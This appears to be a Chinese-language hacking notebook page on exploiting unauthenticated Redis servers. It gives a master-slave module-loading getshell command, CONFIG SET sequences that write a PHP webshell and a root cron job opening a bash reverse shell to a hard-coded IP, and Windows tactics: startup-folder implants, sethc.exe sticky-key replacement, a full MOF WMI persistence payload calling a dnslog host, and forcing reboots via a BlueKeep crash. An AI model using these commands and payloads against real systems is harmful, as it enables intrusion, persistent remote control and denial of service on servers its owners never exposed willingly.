linux
未授权通常两种方式利用:
一、Redis版本在4.x、5.x上的主从getshell。
二、直接写入文件,写webshell、计划任务、ssh公钥。
主从getshell
cd RedisModulesSDK/
make
cd ../
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
image.png
写文件
config set dir /tmp/ //设置目录
config set dbfilename test.php //设置文件名
set shell "<?php phpinfo();?>" //写入内容
save
//写计划任务
//Centos的定时任务文件在/var/spool/cron/
//Ubuntu定时任务文件在/var/spool/cron/crontabs/
config set dir /var/spool/cron/
config set dbfilename 'root'
set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.226.130/7891 0>&1\n\n"
save
//备注:
//debian,ubuntu反弹失败,他们对计划任务的格式很严格,需要执行crontab -u root /var/spool/cron/crontabs/root
//运行权限为非root权限,反弹shell也是低权限
image.png
window
思路:
直接写webshell(需要绝对路径)、写启动项(需要目标重启)、写dll、写mof(win2003)、写sethc.exe
写文件的脚本用的是https://github.com/r35tart/RedisWriteFile
0x01
目标为IIS服务器
默认路径为C:\inetpub\wwwroot
这个站刚写上txt成功访问了,然后6379就关了,捞的一。
0x02
写用户启动项
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
写一个马,如果目标开放了3389用0708打蓝屏等他重启
0x03
写黏贴键
image.png
把sethc.exe替换为cmd.exe。利用,要能够进入远程桌面界面,如果显示如下的话需要使用旧版的mstsc
image.png
0x04
写mof,
image.png
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping 7ps0jk.dnslog.cn \")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
参考文章
https://xz.aliyun.com/t/8153#toc-1
https://xz.aliyun.com/t/7940#toc-6
网友评论